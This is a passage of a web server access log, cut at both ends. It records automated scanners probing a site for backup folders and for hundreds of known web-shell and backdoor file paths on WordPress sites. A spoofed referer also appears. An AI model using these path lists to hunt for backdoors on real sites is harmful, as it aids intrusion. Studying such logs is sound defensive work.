"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 46.8.23.118 - - [11/Apr/2025:10:17:15 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:10:25:21 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:10:25:22 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:10:25:23 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:10:25:23 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:10:25:23 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:10:25:24 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:10:25:24 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:10:25:24 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:10:25:25 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:10:25:27 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 159.242.234.33 - - [11/Apr/2025:11:00:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 43.167.157.80 - - [11/Apr/2025:12:15:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.208.96.198 - - [11/Apr/2025:13:14:56 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)" 85.208.96.195 - - [11/Apr/2025:13:15:12 -0400] "GET /3d-product-packaging-mockup HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)" 208.100.26.243 - - [11/Apr/2025:13:34:16 -0400] "GET /core/misc/drupal.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4164.0 Safari/537.36" 114.96.103.33 - - [11/Apr/2025:13:55:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 157.230.237.134 - - [11/Apr/2025:13:59:05 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 157.230.237.134 - - [11/Apr/2025:13:59:15 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 157.230.237.134 - - [11/Apr/2025:13:59:19 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 157.230.237.134 - - [11/Apr/2025:13:59:23 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 157.230.237.134 - - [11/Apr/2025:13:59:30 -0400] "GET /uploads/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 157.230.237.134 - - [11/Apr/2025:13:59:35 -0400] "GET /images/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 157.230.237.134 - - [11/Apr/2025:13:59:38 -0400] "GET /files/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 13.68.237.164 - - [11/Apr/2025:14:39:45 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:46 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:47 -0400] "GET /.well-known/acme-challenge/fond.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:47 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:47 -0400] "GET /assets/app.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:48 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:49 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:49 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:50 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:50 -0400] "GET /navigation.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:51 -0400] "GET /wp-includes/ID3/berlin.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:52 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:53 -0400] "GET /wp-admin/css/colors/blue/blkhfvco.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:54 -0400] "GET /wp-content/uploads/gfwisone.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:55 -0400] "GET /token.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:56 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:56 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:57 -0400] "GET /wp-content/plugins/lsxvhpg/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:57 -0400] "GET /services.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:58 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:58 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:59 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:59 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:39:59 -0400] "GET /assets/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:00 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:00 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:01 -0400] "GET /wp-includes/language/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:01 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:02 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:02 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:02 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:03 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:04 -0400] "GET /cron_job.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:04 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:05 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:05 -0400] "GET /wp-includes/css/about.php7 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:06 -0400] "GET /wp-content/themes/newstoday/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:07 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:08 -0400] "GET /predeploy.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:10 -0400] "GET /wp-admin/themes/index HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:12 -0400] "GET /wp-includes//wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:12 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:13 -0400] "GET /batm.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:14 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:16 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:17 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:18 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:19 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:20 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:20 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:21 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:23 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:24 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:24 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:25 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:25 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:26 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:26 -0400] "GET /wp-content/plugins/css-ready-sel/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:27 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:27 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:28 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:29 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:30 -0400] "GET /wp-content/plugins/html404/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:31 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:32 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:32 -0400] "GET /wp-content/themes/h47vbpo2/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:33 -0400] "GET /wp-includes/Text/Diff/Engine/ftp_rmdir.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:33 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:34 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:34 -0400] "GET /wp-includes/css/dist/block-library/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:34 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:35 -0400] "GET /wp-content/plugins/vheezid/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:35 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:36 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:36 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:37 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:37 -0400] "GET /wp-content/plugins/npqzdpk/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:38 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:38 -0400] "GET /bitrix/js/seo/ads/client_selector/lang/ru/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:39 -0400] "GET /blog/wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:39 -0400] "GET /status.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:40 -0400] "GET /email.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:40 -0400] "GET /maintenance/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:41 -0400] "GET /wp-includes/class-controller-theme-comment.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:41 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:41 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:42 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:43 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:44 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:45 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:46 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:46 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:47 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:47 -0400] "GET /.well-known/kwggvpup.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:48 -0400] "GET /wp-content/plugins/widget-logic/ui.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:50 -0400] "GET /configure.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:50 -0400] "GET /wp-content/plugins/qufeaoy/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:51 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:52 -0400] "GET /assets/cms/plugins/ckfinder/_samples/php/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:54 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:55 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:55 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:56 -0400] "GET /.well-known/acme-challenge/classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:56 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:57 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:57 -0400] "GET /wp-includes/qw.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:57 -0400] "GET /wp-content/plugins/sfdfryt/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:58 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:58 -0400] "GET /auth.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:59 -0400] "GET /wp-content/plugins/ubh/1.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:59 -0400] "GET /wp-includes/ID3/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:40:59 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:00 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:01 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:01 -0400] "GET /wp-content/uploads/2018/03/ab.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:02 -0400] "GET /new/transjule.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:02 -0400] "GET /wp-content/plugins/background-image-cropper/tmpls.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:02 -0400] "GET /wp-content/plugins/blwrume/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:04 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:04 -0400] "GET /alfa-rex.php8 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:05 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:06 -0400] "GET /wp-includes/PHPMailer/upfile_(2).php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:07 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:08 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:08 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:09 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:09 -0400] "GET /wp-admin/uploads/init HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:11 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:12 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:15 -0400] "GET /audit.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:16 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:19 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:21 -0400] "GET /wp-includes_old/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:22 -0400] "GET /upload/info/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:23 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:24 -0400] "GET /uploads/files/merchants/NadeemHajouj/20190321194634/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:24 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:25 -0400] "GET /wp-content/plugins/ygdfcil/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:26 -0400] "GET /wp-includes/certificates/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:27 -0400] "GET /certificates/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:28 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:29 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:29 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:30 -0400] "GET /wp-content/plugins/zgtzwun/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:31 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:32 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:33 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:35 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:35 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:36 -0400] "GET /wp-content/plugins/smelzou/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:36 -0400] "GET /mail_logs.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:37 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:37 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:38 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:38 -0400] "GET /GOD.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:39 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:39 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:40 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:41 -0400] "GET /.well-known/index HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:41 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:42 -0400] "GET /wp-content/plugins/fgcpghg/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:42 -0400] "GET /wp-content/plugins/uiaqgqm/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:43 -0400] "GET /wp-content/plugins/ljqhmhj/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:43 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:44 -0400] "GET /wp-content/x/eew.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:44 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:45 -0400] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:45 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:46 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:47 -0400] "GET /wp-includes/languages/wp/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:47 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:48 -0400] "GET /wp-content/plugins/wpforms-lite/src/Migrations/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:48 -0400] "GET /504.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:48 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:49 -0400] "GET /wp-includes/block-patterns/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:49 -0400] "GET 